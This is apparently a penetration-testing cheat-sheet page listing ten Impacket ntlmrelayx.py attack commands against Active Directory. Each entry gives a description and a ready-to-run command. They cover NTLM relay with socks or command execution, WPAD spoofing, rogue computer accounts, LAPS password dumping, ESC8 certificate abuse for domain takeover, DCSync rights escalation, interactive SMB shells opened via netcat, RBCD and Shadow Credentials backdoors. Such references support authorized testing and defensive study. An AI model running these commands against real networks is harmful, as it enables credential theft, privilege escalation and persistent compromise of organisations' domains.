DΛΣMӨП

Catalog WADComs

WAD · Tool

Impacket-ntlmrelayx

10 techniques Linux · Windows · ActiveDirectoryWADComs GPL-3.0

Impacket-NTLMRelayX-Socks

Execution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols (SMB, HTTP, LDAP, etc.). The below command creates an SMB relay server that targets the IP 10.10.10.1, meaning any credentials that the SMB server recieves, gets relayed to that IP to attempt to authenticate and create a socks connection to the host. In order for the SMB server to recieve credentials to relay, dementor.py or Petitpotam can be used to trigger a forced authentication from the IP it's targeting to an attacker controlled SMB server. Command Reference: Target IP: 10.10.10.1 

python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -socks
Native
Exploitation
Requires
No_Creds
Services
NTLM, SMB

Impacket-NTLMRelayX-WPAD

Execution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols (SMB, HTTP, LDAP, etc.). The below command will perform WPAD spoofing to force the victim machine to authenticate to the attacker controlled host. The command will then relay the authentication to create a new computer object and grant it delegation rights to impersonate users on the victim machine. This command should be used in conjunction with mitm6. Command Reference: Target Domain Controller: dc.test.local 

python3 ntlmrelayx.py -t ldaps://dc.test.local -wh test-wpad --delegate-access
Native
Exploitation
Requires
No_Creds
Services
NTLM, LDAP

Impacket-NTLMRelayX

Execution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py performs NTLM Relay Attacks, creating an SMB and HTTP server and relaying credentials to various different protocols (SMB, HTTP, LDAP, etc.). The below command creates an SMB relay server that targets the IP 10.10.10.1, meaning any credentials that the SMB server recieves, gets relayed to that IP to attempt to authenticate and execute 'whoami /all'. In order for the SMB server to recieve credentials to relay, dementor.py can be used to trigger a forced authentication from the IP it's targeting to an attacker controlled SMB server. Command Reference: Target IP: 10.10.10.1 

python3 ntlmrelayx.py -smb2support -t smb://10.10.10.1 -c 'whoami /all' -debug
Native
Exploitation
Requires
No_Creds
Services
NTLM

Impacket-NTLMRelayX-AddComputer

NEW
ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays authentication to LDAPS and, with --add-computer, creates a new attacker-controlled computer account in the directory. This abuses the default MachineAccountQuota of 10, which permits any authenticated domain user to add computer objects. The freshly created account (with a known password) becomes a foothold for follow-on RBCD or Shadow Credentials attacks. If a computername and password are omitted, ntlmrelayx generates a random machine name and password and prints them. LDAPS is required because adding a computer with a password sets attributes that the DC only permits over a signed/sealed channel. Command Reference: Target Domain Controller: dc.test.local New computer account: ATTACKER$ Password: password123

# Create a new computer account via the relayed session
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --add-computer 'ATTACKER$' 'password123'
Native
Exploitation, Persistence
Requires
No_Creds
Services
NTLM, LDAP

Impacket-NTLMRelayX-DumpLAPS-ADCS

NEW
DiscoveryCredential AccessEnumeration LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py can leverage a relayed LDAP session for reconnaissance instead of a direct attack. --dump-laps reads and prints any LAPS-managed local administrator passwords (ms-Mcs-AdmPwd) that the relayed identity is permitted to read, and --dump-adcs enumerates AD CS enrollment services and certificate templates to help identify ESC1-ESC8 misconfigurations. Both are low-noise post-relay actions useful for expanding access after coercing a user or computer to authenticate. The amount of data returned depends entirely on the relayed principal's read permissions. Command Reference: Target Domain Controller: dc.test.local

# Dump LAPS passwords and enumerate AD CS via the relayed LDAP session
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --dump-laps --dump-adcs
Native
Discovery, Credential Access, Enumeration
Requires
No_Creds
Services
NTLM, LDAP, ADCS

Impacket-NTLMRelayX-ESC8-ADCS

NEW
Privilege EscalationCredential AccessExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays coerced NTLM authentication to the Active Directory Certificate Services (AD CS) web enrollment endpoint (certsrv), abusing ESC8. HTTP enrollment interfaces do not enforce channel binding by default, so a relayed machine or user authentication can request a certificate on behalf of the coerced account. When a Domain Controller's machine account is coerced (via PetitPotam or the printer bug) and relayed against the DomainController template, the resulting certificate authenticates as the DC and enables full domain compromise. The --adcs flag enables the attack and --template selects the certificate template (Machine/DomainController for computers, User for users). ntlmrelayx prints the issued certificate as a base64 PFX for use with PKINIT. Command Reference: AD CS enrollment endpoint: http://ca.test.local/certsrv/certfnsh.asp Template: DomainController

# Relay coerced DC auth to AD CS web enrollment (ESC8)
python3 ntlmrelayx.py -t http://ca.test.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Native
PrivEsc, Credential Access, Exploitation
Requires
No_Creds
Services
NTLM, ADCS

Impacket-NTLMRelayX-EscalateUser

NEW
Privilege EscalationExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays authentication from a privileged victim to LDAP/LDAPS and, with --escalate-user, grants the named existing user the ability to perform a DCSync by writing replication (Replicating Directory Changes) ACEs onto the domain object. This is used when you already control a low-privileged user account and can coerce a privileged principal (for example a Domain Admin session or a DC machine account) to authenticate to your relay. Unlike --add-computer, this modifies an existing account you already own rather than creating a new one, which is useful in environments where MachineAccountQuota is 0. Command Reference: Target Domain Controller: dc.test.local User to escalate: john

# Grant existing user 'john' DCSync rights via relayed privileged auth
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --escalate-user john
Native
PrivEsc, Exploitation
Requires
No_Creds
Services
NTLM, LDAP

Impacket-NTLMRelayX-Interactive

NEW
Lateral MovementCollectionExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py can hold a relayed SMB session open and expose it as an interactive client rather than running a single command. With -i (--interactive), each successful relay spawns an interactive SMB shell bound to a local TCP port (starting at 11000); connect to it with netcat to browse shares, upload/download files, and read data as the relayed user. This is useful when you want hands-on access to the target's filesystem instead of blind command execution, and pairs with a coercion primitive (PetitPotam, printerbug, dementor) to feed authentications into the relay. Command Reference: Target IP: 10.10.10.1 Local interactive port: 11000

# Relay to SMB and open an interactive client shell
python3 ntlmrelayx.py -t smb://10.10.10.1 -smb2support -i
# In another terminal, connect to the spawned session
nc 127.0.0.1 11000
Native
Lateral Movement, Collection, Exploitation
Requires
No_Creds
Services
NTLM, SMB

Impacket-NTLMRelayX-RBCD

NEW
ExecutionPrivilege Escalation LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays coerced NTLM authentication from a victim computer to LDAPS on the Domain Controller. With --delegate-access it writes the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the relayed computer object, granting an attacker-controlled account Resource-Based Constrained Delegation (RBCD) over it. After the relay, getST.py can request a Service Ticket impersonating any user (including a Domain Admin) to the victim. This requires an account to delegate to (create one first with --add-computer or Impacket's addcomputer.py) and a coercion primitive such as PetitPotam or the printer bug to force the victim's machine account to authenticate. LDAPS is preferred because RBCD writes require a channel not protected by LDAP signing. Command Reference: Target Domain Controller: dc.test.local Attacker computer account: ATTACKER$

# Relay coerced machine auth to LDAPS and configure RBCD on the victim object
# (auto-creates a computer account to delegate from when you hold MachineAccountQuota)
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --delegate-access
Native
Exploitation, PrivEsc
Requires
No_Creds
Services
NTLM, LDAP

Impacket-NTLMRelayX-ShadowCredentials

NEW
PersistenceCredential AccessExecution LinuxWindowsActiveDirectory

Impacket's ntlmrelayx.py relays authentication to LDAP/LDAPS and, with --shadow-credentials, performs a Shadow Credentials attack by writing a new Key Credential into the target's msDS-KeyCredentialLink attribute. This adds an attacker-controlled certificate/key pair to the account, allowing later PKINIT authentication to obtain a TGT (and the account's NT hash via UnPAC-the-hash) without changing its password. --shadow-target selects which principal to backdoor; the relayed identity must have write access (GenericWrite/GenericAll) to that object. The attack requires the domain to support Key Trust (a KDC with PKINIT, i.e. an AD CS PKI or Server 2016+). ntlmrelayx saves the generated certificate so you can authenticate with it afterwards using gettgtpkinit.py or PKINITtools. Command Reference: Target Domain Controller: dc.test.local Shadow target account: DC01$

# Add a Key Credential to the target account via relayed write access
python3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --shadow-credentials --shadow-target 'DC01$'
Native
Persistence, Credential Access, Exploitation
Requires
No_Creds
Services
NTLM, LDAP